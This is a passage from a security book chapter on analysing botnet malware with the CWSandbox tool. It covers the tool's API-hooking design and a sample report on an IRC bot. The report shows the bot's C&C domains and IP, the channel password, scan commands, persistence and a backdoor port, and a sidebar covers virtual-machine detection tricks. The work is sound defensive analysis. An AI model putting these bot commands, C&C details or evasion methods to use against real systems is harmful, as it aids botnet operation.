Packet loss during a DDoS attack is a difficult problem with multiple\nfacets. We have discovered that some NICs might simply lose packets if\ntoo many small packets are arriving at the port. On both BSD and Linux,\nthe netstat –in command might show possible input errors and should be\nused to check your NIC to see if it has large amounts of errors.\nUnfortunately, we can’t recommend anything useful here other than to try\nanother kind of NIC.\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n343\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 362, "text": "" }, { "page_number": 363, "text": "Using Sandbox\nTools for Botnets\nSolutions in this chapter:\n■\nDescribing CWSandbox\n■\nExamining a Sample Analysis Report\n■\nInterpreting an Analysis Report\n■\nBot-Related Findings of Our Live Sandbox\nChapter 10\n345\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 364, "text": "Introduction\nThere are several ways to obtain information about botnets and in particular\nthe bot applications seen in the previous chapters, especially in Chapters 5\nand 7. One approach to analyzing this kind of software and learning more\nabout its internals and the underlying communication method and infrastruc-\nture is to execute them in a so-called sandbox.\nSandboxes are a common concept in computer security and are used to\nexecute program code that comes from unverified or untrusted sources.A\nsandbox offers a monitored and controlled environment such that the\nunknown software cannot do any harm to the real hosting computer system.\nThis can be achieved by blocking some critical operations but permitting\nother operations while monitoring them.Alternatively, you could implement\na complete virtual environment where processor, memory, and the file system\nare simulated and the real system is not accessible for the tested application. In\nmalware analysis, the main aspect of a sandbox normally is not to block\naccesses to the system resources but to monitor those accesses. Usually a vir-\ntual machine or some other mechanism is used, by which the system can be\nbrought back into a clean and uninfected initial state after an analysis run, so\nthe protection of the underlying system is not so important.This form of\nanalysis is called behavior analysis, in contrast to code analysis, where the pro-\ngram instructions are examined with the help of a disassembler or a debugger.\nThere are several software tools that perform such behavior analysis by\nexecuting a sample in some form of sandbox, which monitors the performed\nactions and then creates an analysis report of these actions. One candidate is\nthe Norman SandBox, which was developed by Norman ASA, a Norwegian\ncompany that has specialized in data security. Norman simulates a whole\ncomputer system and a connected network.The implementation details and a\ndescription of the underlying technology can be found in the company’s\nSandbox Whitepaper.1. A live version of the sandbox is online at\nhttp://sandbox.norman.no/live.html, where everyone can submit malware\nsamples and get an analysis report by e-mail.\nAnother product is TTAnalyze, developed by Ulrich Bayer of Ikarus\nSoftware GmbH, in cooperation with the Technical University of Vienna.\nTTAnalyze uses the PC emulator QEMU to run a complete Windows oper-\nating system inside of it. In this emulated system, the technique of API\nwww.syngress.com\n346\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 365, "text": "hooking (a technique described later in this chapter) is used to monitor the\nmalware’s interesting system calls. Decoupling from the network has the\nadvantage that the malware is not able to infect other computers, but there\nalso is the disadvantage that less information can be collected, because no real\noutgoing connection can be established.\nChas Tomlin has chosen a different approach with his Sandnet. In Sandnet,\nthe malicious software is executed on a real Windows system, not on an emu-\nlated or simulated one.After 60 seconds of execution, the host is reset and\nforced to reboot from a Linux image instead of its actual Windows OS. For\nthat purpose, Preboot Execution Environment (PXE) is used: a mechanism for\nbooting a computer via its network interface independently of an available\ndata storage device or operating system.After booting Linux, the Windows\npartition is mounted and the registry hives are extracted, as well as the com-\nplete file list.They are sent to a different analysis host for further examination.\nAfter that, the Windows partition is reverted to its initial clean state using\nPartImage.. (PartImage is a utility to save/restore hard disc partitions to/from an\nimage file. For more information go to www.partimage.org.) Because Chas\nTomlin’s Sandnet focuses on network activity, several dispositions are made.\nDuring the execution of the malware, the Windows host is connected to a\nvirtual Internet with an IRC server running that positively answers all\nincoming IRC connection requests. Furthermore, all packets are captured to\nexamine all other network traffic afterward.The collected packets are parsed\nusing Perl scripts for known protocols such as IRC, DNS, and HTTP, and the\nrelevant information is extracted.\nA similar method is used in Truman,The Reusable Unknown Malware\nAnalysis Net, provided by Joe Stewart from SecureWorks. (For more informa-\ntion go to www.lurhq.com/truman.) It consists of a PXE bootable Linux\nclient based on Chas Tomlin’s PXE Windows Image using Linux and a set of\nadditional tools. (For more information visit www.wiul.org.) The malware\nsample is also executed on a real Windows system, which is connected to a\nvirtual Internet.After the sample’s execution, the Truman tools are used to\ndump the system’s memory and its file system contents.Then a different anal-\nysis machine is able to examine the dumps and compare them against the ini-\ntial system state. More information on Truman can be found at\nwww.lurhq.com/truman.\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n347\n" }, { "page_number": 366, "text": "Finally, there is CWSandbox, a result of the diploma thesis of Carsten\nWillems that is being further improved and is still under development.A free\nresearch version as well as a commercial one can be retrieved from Sunbelt\nSoftware. More information and a live sandbox can be found at\nwww.cwsandbox.org and www.sunbeltsandbox.com.\nIn the following sections of this chapter we describe malware analysis\nusing the CWSandbox tool. First we introduce the general sandbox architec-\nture and its components.Then a sample analysis report for a very simple bot\napplication is presented and explained.After that, we give a detailed descrip-\ntion of how to use the sandbox in real malware analysis as well as giving a lot\nof useful and real examples of many different malicious actions that usually\nare performed by a bot.That part of the chapter will give you the knowledge\nand ability to read an analysis report and identify the important malicious\ninternals of the analyzed bot software. Finally, we present some results we have\nachieved on our live sandbox systems by successfully analyzing more than\n10,000 malware samples.\nDescribing CWSandbox\nCWSandbox is an application for the automatic behavior analysis of malware.\nThis dynamic analysis is performed by executing the malicious application in\na controlled environment and catching all its relevant calls to the Windows\nAPI. Because these API calls are used for accessing Windows system resources\nsuch as files, the registry, or the network, all the malware’s actions can be\nexamined. In a second step, a high-level summarized report is generated from\nthis monitored data. Since one focus lies in the analysis of bots, a big effort is\nspent to extract and evaluate the network traffic data.\nTo give an intuitive image of the sandbox in advance, let’s look at a short\nexample. It shows the analysis of a bot application that was collected by a\nhoneypot. We will use this bot as a basic example in this chapter because it is\na simple one but comprises most of the techniques and actions that are char-\nacteristic of most of the bots currently available. It is named\nBackdoor.IRCBot.S by BitDefender, BackDoor.Generic4.VT by AVG, and\nBackdoor.Win32.IRCBot.yc by Kaspersky. Because of the nature of its origin,\nthe name chosen by us is based on its MD5 hash value; therefore, it is\n82f78a89bde09a71ef99b3cedb991bcc.exe.To start analysis in CWSandbox, the\nfollowing command is used:\nwww.syngress.com\n348\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 367, "text": "c:\\cwsandbox.exe TARGET_FILENAME=82f78a89bde09a71ef99b3cedb991bcc.exe\nThe sandbox then starts the malware and monitors its actions by\ninspecting the API calls it performs. Figure 10.1 shows an example output of\nthis execution.The upper main console window prints out information about\nthe malware process and about all new processes that were started or injected.\nThe lower event log window gives information about each monitored API\nfunction that was called by one of them.After a customizable time, all partici-\npating malware processes are terminated or stopped. Finally, a summarized and\nhigh-level XML analysis report is created from the collected data.The analysis\nreport contains a separate section for each process that was involved and for\neach of them several subsections that contain actions of a particular type. For\nexample, there is one subsection for accesses to the file system, one for\naccesses to the registry, and another for the performed network operations.\nFigure 10.2 shows an extract of such an XML report.\nFigure 10.1 Running CWSandbox\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n349\n" }, { "page_number": 368, "text": "Figure 10.2 Analysis Report\nCWSandbox is not only used to create analysis reports for single malware\nsamples; but also integrated into a bigger system, the Automated Analysis Suite\n(AAS).This suite consists of several software components and is used to col-\nlect and analyze malware automatically.You can see a schematic overview of\nthe AAS in Figure 10.3.All its components are arranged around a central\ndatabase, which holds the malware sample files and the resulting analysis\nreports.This database is filled by manual malware submission via a Web inter-\nface or by automatic collection via Nepenthes sensor hosts. Of course, the\nmalware submission interface can also be used by other collecting mecha-\nnisms, but currently this is done only via Nepenthes. On the other side there\nare one or more CWSandbox hosts, where the actual analysis is performed.\nOn such a host an instance of CWSandbox is running, periodically querying\nthe database for new samples. If a new one is found, it is downloaded and an\nanalysis is started on it.Afterward the resulting report is written back to the\ndatabase and the system is brought back into a clean state.Therefore, on our\nlive systems most of the CWSandbox hosts are realized as virtual machines\nthat run under VMWare, but this is only for convenience reasons.All you\nneed is a mechanism to reset the CWSandbox host back to a clean initial\nstate after a performed analysis.Accordingly, this also can be done using appli-\ncations like DeepFreeze, a hardware restore solution, or using a dual-boot or\nwww.syngress.com\n350\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 369, "text": "network-boot system. For more information on DeepFreeze visit\nwww.faronics.com/html/deepfreeze.asp.\nFigure 10.3 Automated Analysis Suite (AAS)\nNotes from the Underground…\nDetecting a Virtual Machine\nUsing virtual machines for malware analysis has become very popular\ntoday due to that fact a lot of malicious applications try to detect if they\nare running in such a virtual environment. Depending on the virtualiza-\ntion software, the malware can check for different characteristics,\nincluding specific registry entries, the list of running processes or system\nservices, or typical system behavior. Especially for the often used product\nVMWare, there are many public known detection methods. The site\nwww.trapkit.de presents a lot of them and offers the tools scoopy doo\nand jerry for that purpose. A generic approach to VM detection has been\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n351\nNepenthes \nSensor 1\nDatabase with\nMalware Binaries\nand Analyses\nNepenthes \nSensor 2\nNepenthes \nSensor n\nVirtual \nMachine\nHost 1\nVirtual \nMachine\nHost m\nCWSandbox\nHost m.nm\n...\n...\nWeb \nInterface\nWeb Server\n...\nCWSandbox\nHost 1.n1\nCWSandbox\nHost 1.2\nCWSandbox\nHost 1.1\nContinued\n" }, { "page_number": 370, "text": "presented by Joanna Rutkowska under the name redpill. It is based on\nretrieving the address of the Interrupt Descriptor Table (IDT), a nonprivi-\nleged instruction that also can be called from user mode applications.\nBecause the IDT address retrieved when running in a virtual machine is\ndifferent from that in a real system, we can easily use this for VM detec-\ntion. The best thing about this trick is that it works with any virtualiza-\ntion software. As newer CPU generations offer real virtualization\nsupport, we can only hope that in future VM detection will become\nimpossible or at least (and most probable) much more difficult.\nDescribing the Components\nIn this section we describe the functionality and components of CWSandbox\nin detail.The sandbox itself consists of two different executables: cwsandbox.exe\nand cwmonitor.dll.The first one is the main application, which starts the mal-\nware and controls the whole analysis process, and the second one is a dynamic\nlink library (DLL), which is injected into all monitored processes. During the\nexecution of the malware, the DLL intercepts at each critical API call and\ninforms the main application of it. Depending on the type of system call, it\neither waits for the sandbox to decide how to continue, delegates control to the\noriginally called API function, or simply returns to the malware with a simu-\nlated or error result. Besides monitoring, the DLL also has to ensure that when-\never the malware starts a new process or injects code into an already running\none, the sandbox is informed of that. In that case a new instance of the DLL is\ninjected into that newly created or already existing process, so that this process\nalso can be monitored.A schematic of this architecture is given in Figure 10.4.\nFigure 10.4 CWSandbox Architecture\nwww.syngress.com\n352\nChapter 10 • Using Sandbox Tools for Botnets\ncwsandbox.exe\nMalware Application\ncwmonitor.dll\nexecutes\ncommunication\nMalware Application Child\ncwnonitor.dll\ncommunication\nexecutes\n" }, { "page_number": 371, "text": "As mentioned, the monitoring DLL informs the sandbox about each per-\nformed API call, which in fact is done by sending a notification to it.These\nnotifications include a lot of information, like the name of the called API\nfunction, the used parameters, or the time when the call occurred. Depending\non the type of the function, a different TNotification class is used. Subclasses\nfor the following categories exist:\n■\nTNotification_COM Used for API calls that create COM objects\n■\nTNotification_DLLHandling Used for API calls that load/unload a\nDLL or that dynamically determine the entry points of API functions\n(used during explicit linking)\n■\nTNotification_FileSystem Used for API calls that access the file\nsystem\n■\nTNotification_ICMPPacket Used for API calls that send ICMP\npackets\n■\nTNotification_INIFile Used for API calls that use the Windows\nbuilt-in methods to access .ini files\n■\nTNotification_Mutex Used for API calls that create or access mutex\nobjects\n■\nTNotification_Network Used for API calls that use the Windows\nbuilt-in network methods, such as for accessing Windows shares\n■\nTNotification_Process Used for API calls that perform actions on\nprocesses, such as creating, terminating, or opening a process\n■\nTNotification_ProtectedStorage Used for API calls that perform\naccesses on the Protected Storage, which is a Window Service for\nstoring authentication data of applications or Web sites\n■\nTNotification_Registry Used for API calls that access the registry\n■\nTNotification_Service Used for API calls that access Windows\nServices\n■\nTNotification_System Used for API calls that perform system func-\ntions, such as rebooting the system\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n353\n" }, { "page_number": 372, "text": "■\nTNotification_SystemInfo Used for API calls that query system\ninformation, such as querying the current user\n■\nTNotification_Thread Used for API calls that perform actions on\nthreads, such as creating or terminating\n■\nTNotification_User Used for API calls that use the Windows built-in\nuser management functions, such as creating or deleting a user\n■\nTNotification_VirtualMemory Used for API calls that access another\nprocess’s virtual memory\n■\nTNotification_Window Used for API calls that access the currently\nexisting windows, such as to find a window with a given title or class\nname\n■\nTNotification_WinSock Used for API calls that perform WinSock\noperations\nThere is a focus on analyzing the network connections and the traffic\ndata. For that reason the transferred data is inspected and an attempt is made\nto determine the underlying Web protocol.At the moment, the following\nprotocols are understood: Hypertext Transport Protocol (HTTP), File Transfer\nProtocol (FTP), Simple Mail Transfer Protocol (SMTP), Internet Relay Chat\nProtocol (IRC), and the Ident Protocol (IDENT). Connections that use\nRFC-conform messages and slightly modified versions of them are automati-\ncally detected, and all the protocol-dependent data, such as the login informa-\ntion, downloaded Web sites, or performed FTP commands, is extracted. If an\nSMTP connection is detected, the CWSandbox can be instructed to trick the\nmalware such that only informational requests are sent to the remote SMTP\nserver instead of real mail delivery.That way, the malware thinks it is working\nwith a proper SMTP server.All the information about outgoing e-mail can\nbe monitored, whereas no actual e-mail is sent at all.\nCwsandbox.exe\nThe cwsandbox.exe is a noninteractive console application; it expects, and\nneeds, no user input during its execution.The only possible input is Ctrl +\nC, which is the standard Windows shortcut for terminating console applica-\ntions. If termination is not ended prematurely using this shortcut, the sandbox\nruns until all malware processes have terminated, a custom timeout is reached,\nwww.syngress.com\n354\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 373, "text": "or some critical event has occurred that requires an instant termination of the\nmalware processes. During its runtime the following tasks are performed:\n■\nThe malware process is started in suspended mode, such that the pro-\ncess object is created and all modules are loaded, but no single\ninstruction is executed yet.\n■\nThe cwmonitor.dll is injected into this new process.\n■\nRuntime options and information are exchanged with this DLL.\n■\nThroughout the execution, notifications are received from the DLL\ninside each monitored process; depending on the received notifica-\ntion, some decisions have to be made by the sandbox.The DLL then\nwaits for these decisions and continues in the way the sandbox\ndecided. However, in most cases no decision is needed and the DLL\nsimply routes the call to the original API function after sending the\nnotification.\n■\nAfter all processes have terminated or a given timeout is reached, all\nstill running processes are terminated or the created malicious threads\nare stopped if their parent processes cannot be terminated safely, as is\nthe case with essential Windows processes like winlogon.exe.\n■\nUnder some circumstances, the malware is terminated before the\ntimeout occurs—for example, to prevent serious harmful actions.\n■\nA high-level analysis report is created from the collected data.\n■\nOptionally, a .cab file archive is created from all the monitored data\nand some additional files.\nBesides monitoring the relevant API function calls, the sandbox also offers\nsome helpful features for a manual post-processing step of the results. Some of\nthe most important features are enabled with the configuration options\nSTORE_CREATED_FILES and DUMP_PROCESSES.The first one pro-\nvides that a copy of all newly created files is written into the .cab file. With\nthis you can get the data of temporary files, which often are used as a source\nfor encryption and then contain the plain text of data, which is transmitted in\nan obfuscated version over the network. Furthermore, this includes copies of\nall downloaded files, which could contain code updates or other malware\nfiles.The second option enables a functionality that creates process dumps of\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n355\n" }, { "page_number": 374, "text": "all monitored processes shortly before they are terminated. So, if a malware\nsample is compressed and/or encrypted, you will get a decompressed and\ndecrypted version of the binary code.All process dumps are also stored in the\nmentioned .cab file.\nWARNING\nPlease keep in mind that the main purpose of CWSandbox is to monitor\nand not to block the actions of the analyzed file. This means that your\nlocal system as well as other remote systems could be infected by it, and\nsensitive data might be retrieved from your local host and sent to the\nmalware operator. Furthermore, active malicious code could remain\nafter the analysis process has finished. The sandbox tries to terminate all\ncreated processes and to stop all malicious threads that have been\ninjected into running system services, but this is not possible in all cases,\nso you always should reset your system to a clean state afterward.\nCwmonitor.dll\nThe cwmonitor.dll is injected into each monitored process by the sandbox\napplication.This is done automatically if the malware starts a new process or if\nan existing process is infected with malicious code. If a monitored process\nwants to perform either of these operations, the sandbox application controls\nthis creation/injection as described here. If a new application should be\nstarted, the sandbox intercepts directly after creating the process and before\nexecuting any single operation of it.Then the monitoring DLL is injected and\nthe newly created process is resumed only if the initialization routine of the\nDLL has been successfully performed.The infection of an already running\nprocess works in an analog way. If a monitored process injects code into an\nalready running one, CWSandbox intercepts this before any single operation\nof the injected code is allowed to be executed.Then the monitoring DLL is\ninjected and completely initialized. If the initialization of the DLL fails for\nsome reason, the created process or infected thread is terminated automati-\ncally without being able to perform any single instruction.\nIn its initialization routine, the DLL first collects some information about\nthe hosting process, such as username or security context information.Then it\nwww.syngress.com\n356\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 375, "text": "sets up an interprocess communication (IPC) object to communicate with the\nsandbox application. Via this mechanism the collected process information is\nsent to the sandbox and some configuration settings are received in turn.\nThen function hooks are installed for all relevant API functions to intercept\ntheir calls.The technique used in CWSandbox for realizing the hook func-\ntions is called inline code overwriting (see Figure 10.5) and is described in detail\nlater.There are several other approaches, such as Import Address Table (IAT)\npatching, Export Address Table (EAT) patching, or using proxy DLLs. Every\nhooking technique has its disadvantages and advantages, but for CWSandbox\nthe currently used one seems to fit best for the moment.\nFigure 10.5 Inline Code Overwriting\nThe inline patching performed in CWSandbox works in the following\nway: Each Windows API function that is being used in an application is\nimplemented in one of the Windows DLL files like kernel32.dll, advapi32.dll\nor ntdll.dll.These DLLs are either loaded automatically on process initializa-\ntion or can be reloaded manually during runtime by one of the functions\nLoadLibrary, LoadLibraryEx, or LdrLoadDll. No matter how and when the DLL\nis loaded, at runtime the code of each API function that is called needs to\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n357\nApplication.CreateFileA-Hook:\n 2005EDB7\n- custom hook code -\n …\n...\n 2005EDF0\nJMP [CreateFileA-SavedStub]\nApplication.CreateFileA-SavedStub:\n 21700000\nPUSH ebp\n 21700001 \nMOV ebp, esp\n 21700003\nPUSH SS:[ebp+8]\n 21700006\nJMP $77E8C1FD\nPUSH ebp\nMOV ebp, esp\nPUSH SS:[ebp+8]\n2\nKernel32.dll-CreateFileA (*with* Hook):\n 77E8C1F7\nJMP [CreateFileA-Hook]\n 77E8C1FD \nCALL +$0000d265\n 77E8C202 \nTEST eax, eax\n 77E8C1FD \nJNZ +$05\n …\n...\n 77E8C226\nRET\n3\n1\nKernel32.dll-CreateFileA (*without* Hook):\n 77E8C1F7\nPUSH ebp\n 77E8C1F8 \nMOV ebp, esp\n 77E8C1FA \nPUSH SS:[ebp+8]\n 77E8C1FD \nCALL +$0000d265\n 77E8C202 \nTEST eax, eax\n 77E8C1FD \nJNZ +$05\n …\n...\n 77E8C226\nRET\nPUSH ebp\nMOV ebp, esp\nPUSH SS:[ebp+8]\n" }, { "page_number": 376, "text": "reside in the virtual memory of the calling process.Accordingly, the cwmon-\nitor.dll is able to locate these functions in memory, either by using the API\nfunction GetProcAddress or by manually parsing the EAT of the containing\nWindows DLL module. For catching all calls to the particular function, a JMP\ninstruction is written to its code location as the first operation.This JMP\noperation is used to reroute the execution to a customized hook function.\nAs an example, Figure 10.5 shows an extract of the CreateFileA function\nfrom kernel32.dll, which is used to open an existing or create a new file. In\nthe upper part of the figure, the original and unmodified version of this func-\ntion is shown.The first three instructions are displayed in a light gray box, the\nfollowing ones in a dark gray box.The operations from the light gray one are\nthose which are overwritten by the JMP instruction when the hook is\ninstalled.You can see that in the lower part of the figure the first light gray\nbox is completely missing because it has been overwritten.The following\nbytes from the dark gray box are not modified at all.At hook installation,\nbefore the introducing bytes of a function are overwritten, these have to be\nsaved to some other memory location because they might be needed later to\nperform the original API function. In the lowest box of the figure, you can\nsee that these bytes are copied to a location called SavedStub. Now, each time\nthe CreateFileA function is called, first the JMP operation is executed and\ncontrol is delegated (1) to the hook function (shown in the middle box of the\nlower figure part). If the original API should be called from inside the hook\nfunction, first the SavedStub is executed (2) and then control is transmitted\nback (3) to the original API function. In fact, the operations from the dark\ngray box, which have not been modified, are then executed .This form of\nAPI hooking is the most effective and comfortable one that can be done from\nuser mode. But because it is detectable by the malware application, coming\nreleases of CWSandbox will use some form of kernel mode hooking. It is also\npossible for an application to not use the Windows API functions at all but to\nperform the relevant system calls directly.This technique is hard and laborious\nto implement, so this usually is not done in malware.\nwww.syngress.com\n358\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 377, "text": "WARNING\nCWSandbox will deliver no false positives, since all contents of a pro-\nduced analysis report reflect operations that actually have been per-\nformed. In contrast, there always will be the risk of false negatives, since\nonly the explicitly monitored operations will be reported. For example,\napplications are able to perform system calls directly instead of using the\nWindows API. Nevertheless, because this process is rather complicated\nand laborious, nearly all malware uses API calls. Unfortunately, you\nnever can be sure that a program is clean, just because you find no mali-\ncious operations in the corresponding analysis report.\nExamining a Sample Analysis Report\nThe result of a malware analysis in CWSandbox is an XML analysis report,\nwhich contains information about all participating processes and the actions\nperformed by them.This document type can be read by humans as well as by\nmachines, which makes post-processing easier. For better readability by\nhumans, XSL templates are used to transform the XML report into HTML\nor plain-text documents. Nevertheless, in the following the contents of the\nraw XML file are described, but we also give an example of a resulting\nHTML report at the end of this section. In this section, we use the same\nsample malware file seen previously.\nThe Section\nEach XML report contains the root element and its two child ele-\nment sections, and :\n\n\n\n\nThe attributes of the element reveal several pieces of informa-\ntion about the particular analysis run, such as the used CWSandbox version,\nthe date and time of the analysis, and the name of the analyzed executable.\nThe section covers a call tree of all monitored processes, where a\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n359\n" }, { "page_number": 378, "text": "father-child relationship shows that the father process has created or injected\ninto the child process.This is the calltree for our malware sample:\n\n\n\n\n\n\n\nFrom that output you can see that the initial malware process, which was\ncreated from the binary c:\\82f78a89bde09a71ef99b3cedb991bcc.exe, starts a\nnew process using the command line C:\\WINDOWS\\system32\\arman.exe\n—install c:\\82f78a89bde09a71ef99b3cedb991bcc.exe.This new file c:\\win-\ndows\\system32\\arman.exe most probably was created previously by the initial\nprocess. Via the call parameters, we can see that it recently has been installed\nand also where the original malware file is stored. We will see in detail later\nwhat is going on inside this first process. Furthermore, you can see the relative\nstart time points of the two processes:The first one is started only a few hun-\ndred milliseconds after the analysis starts, and the second one starts roughly\nafter 2 seconds. From the attribute startreason we know that the first process\nwas started by the sandbox itself and that this process has created the second\none by calling a Windows API function for creating new processes, such as\nCreateProcess.Another possible value for this attribute is InjectedCode, which is\nused for those processes that were not newly created but that were already\nrunning and then injected with malicious code.\nAnalysis of\n82f78a89bde09a71ef99b3cedb991bcc.exe \nThe section contains one subsection with detailed infor-\nmation for each participating process. From the attributes of the \nelement we learn some more information about the process itself:\n\n■\nindex Each process gets its own unique process index for later iden-\ntification.\n■\npid The process identifier that is assigned by the operating system.\n■\nfilename The filename from which the process initially was created.\n■\nfilesize The size of this process file.\n■\nmd5 The MD5 hash value of this process file.\n■\nusername The username of the security context the process is run-\nning within.\n■\nparentindex The index of the parent process that has started this one;\nthe value 0 indicates that the process was started by the sandbox\napplication.\n■\nstarttime The relative time when the process was started or injected,\nas described in the section.\n■\nendtime The relative time when the process was terminated; from the\ndifference between starttime and endtime you can know the overall\nexecution time of this process.\n■\nstartreason The reason this process was monitored as described in the\n section.\n■\nterminationreason The reason the process was terminated.\nNormalTermination means that the process has terminated by itself.\nAnother possible value would be Timeout, which means that the\nsandbox has terminated this process at the end of the specified max-\nimum analysis duration time.\n■\nexecutionstatus Normally this attribute has the value OK; if for some\nreason the process could not be started—for example, because it is no\nvalid Win32 application—the value CouldNotCreateProcess is used.\nThe element always contains several sections, which describe all\nthe actions performed during the execution of this process. For each of the\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n361\n" }, { "page_number": 380, "text": "possible TNotification objects, a separate section is included, if such notifica-\ntions have been monitored during the execution. In the following, some\ninteresting extracts from these sections are shown and explained. Notice that\nsometimes we have skipped several notifications or left out some of their\nattributes for better readability.\n\n\n\n\n\n\n\n\n\nThe upper section gives us information about the loaded modules of the\nmalware process. It starts with the particular malware image file, followed by\nthe Windows standard libraries ntdll.dll and kernel32.dll, which are loaded\ninto each Windows user process. From the information that msvcrt.dll is\nloaded, we can know (or at least assume) that the malware is written in C,\nsince it is the standard runtime library for Microsoft C applications.As the\nlibraries ws2_32.dll and wininet.dll are loaded, we know that the malware is\ngoing to use the Winsock library to set up outgoing or incoming TCP/IP\nconnections. Because the examined malware file is a bot application, this is\nnot amazing. From the fact that pstorec.dll is loaded, we can assume that the\nmalware is going to access the Protected Storage, most probably for stealing\nsome authentication data stored within it. In the next analysis section you can\nsee what we already assumed before:The malware copies itself to the\nWindows system directory using the destination filename arman.exe:\n<filesystem_section>\n\n\nThe following outputs show us that a new process is started from this cre-\nated arman.exe file. We see that the new process should be created without\nshowing the main window: showwindow=”SW_HIDE”. Furthermore, we are\ninformed that the API function CreateProcessA was used for that purpose.The\nwww.syngress.com\n362\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 381, "text": "notification approves the fact that the malware process termi-\nnates itself after starting its copy from the Windows system directory.\n\n\n\n\nThat is all for the first process, and this is exactly what we see for the most\nof these simple bots: On their first start, they simply copy themselves to the\nWindows directory, then they execute this new copy and terminate the initial\napplication.\nAnalysis of Arman.exe \nLet’s now take an intensive look at the actions of the second process, which\npromises more interesting results:\n\nWe know that this process is created from the same binary, only from a\ndifferent location.Therefore, the MD5 and the file size have the same values\nas for the first one. From the values of the attributes parentindex and startreason\nwe know that the execution was initiated by the first process.The termination-\nreason tells us that this second process did not terminate itself but would have\ncontinued to execute if the sandbox application had not terminated it at the\nend of the analysis.\n<filesystem_section>\n\n\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n363\n" }, { "page_number": 382, "text": "Here we can see the probable reason for the second command-line\nparameter of arman.exe: It is used to inform the application where the orig-\ninal malware file can be found for deleting it. We do not know the regular\ndistribution mechanism of this bot. Since it was collected by a honeypot, we\ncan assume that it is usually copied to a remote host after this host has been\nexploited. Depending on the exploit used, the malware file would be copied\nto a temporary or application-dependent directory.The existence of an .exe\nfile in such a folder would raise suspicion or it would be deleted automati-\ncally due to some system cleanup routine.Therefore, in nearly all cases we\nhave seen, malware first copies itself to the Windows folder and then deletes\nthe initial source file.\nMany applications use named mutexes to ensure that only one instance of\nthem is running.The funny thing about this is that very often you can learn\nmore information about the malware from the name of their mutexes.\nSometimes you can determine the malware name in the form the author has\nintended.Also very often you can recognize the malware family by that, since\nthe mutex does not change from version to version or simply uses the same\nvalue plus a newer version number.The mutex of our sample probably reveals\nits intended name:\n\n\n\nThe malware opens the registry section\nHKLM\\SOFTWARE\\Microsoft\\Windows \\CurrentVersion\\Run, whose\nentries are loaded automatically on system startup. It checks whether an entry\nfor the arman.exe file already exists. Because this is not the case, a new entry\nis created.After that, the malware checks whether the entry could be created\nsuccessfully.This modifies the system startup sequence such that arman.exe\nwill be started automatically each time the machine boots up:\n\n\n\n\n\n\nNow for the interesting stuff, namely those operations dealing with net-\nwork connections. Each analysis report for malware that calls at least one\nWinsock operation contains a .This has several subsections:\none for all UDP connections, one for the incoming TCP connections, one for\nthe allowed outgoing TCP connections, one for the blocked TCP connec-\ntions, and a last one for all operations for which the underlying protocol and\ndirection could not be determined because no indicating function was called.\nThese latter sections normally are used for the Windows built-in DNS query\nfunctions. In our case the Winsock notifications section starts like this:\n\n\n\n\n\n\n\nWe can see that the first DNS query did not deliver an IP address.This is\nbecause at the moment of the analysis the domain name sexccc.serveftp.com\nwas not connected to a valid IP. In contrast, the second request for\nsexccc.ath.cx delivers the IP 208.98.19.3, which is the address of the botnet\nC&C server, as we see here:\n\n\n\n\n\n\n\nThe malware initiates an outgoing TCP connection to 208.98.19.3 on\nport 6666, which can be established successfully. Furthermore, CWSandbox\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n365\n" }, { "page_number": 384, "text": "has detected (by inspecting the traffic) that the protocol used in this connec-\ntion is IRC. Because of that it was able to retrieve all the protocol-dependent\nIRC data from the traffic stream:\n■\nThe parameter of the user command is XP-DEU 0 0\n:[XP|DEU|P|00|gcoDZaUz], which means that the username is\nXP-DEU, the IRC usermode is 0 and the realname is\n:[XP|DEU|P|00|gcoDZaUz].\n■\nThe nickname is [XP|DEU|P|00|gcoDZaUz].\n■\nThe channel ##tibia2## is joined using the password tibiablows.\n■\nThe channel topic is :.scan.stop -s;.scan.start NETAPI 40 -a -s;\n.scan.start NETAPI 40 -b –s.\n■\nFrom the name of the attribute topic_deleted you can see that the\nchannel topic is received but in fact not being passed to the malware;\nthe CWSandbox can be configured in multiple ways to prevent a\nfurther processing of received bot commands.\nThe last entries of the analysis report reveal that the malware opens a\nbackdoor on TCP port 1910, but it is not being connected during the analysis\nrun:\n\n\n\nThat is it for the second process of this malware analysis. We have seen the\nmost essential operations of such simple bot applications:After it has copied\nitself to the Windows directory and started, this new instance deletes the orig-\ninal malware file, sets up an autostart registry entry, opens a backdoor, resolves\nthe domain name of its C&C server, connects to this server, and joins the\ncorrect channel. Because we did not let the channel topic pass to the malware\nreceiving function, its functionality stops there.An extract of the transformed\nHTML report of this analysis appears in Table 10.1, showing the analysis only\nfor the second process.Again, some unimportant parts have been removed to\nreduce its length.\nwww.syngress.com\n366\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 385, "text": "Table 10.1 Extract of a Malware Analysis\nAnalysis Number\n2\nParent ID\n1\nProcess ID\n2028\nFilename\nC:\\WINDOWS\\system32\\arman.exe\n--install c:\\82f78a89bde09a71ef99b3cedb991bcc.exe\nFilesize\n113152 bytes\nMD5\n82f78a89bde09a71ef99b3cedb991bcc\nStart Reason CreateProcess\nTermination 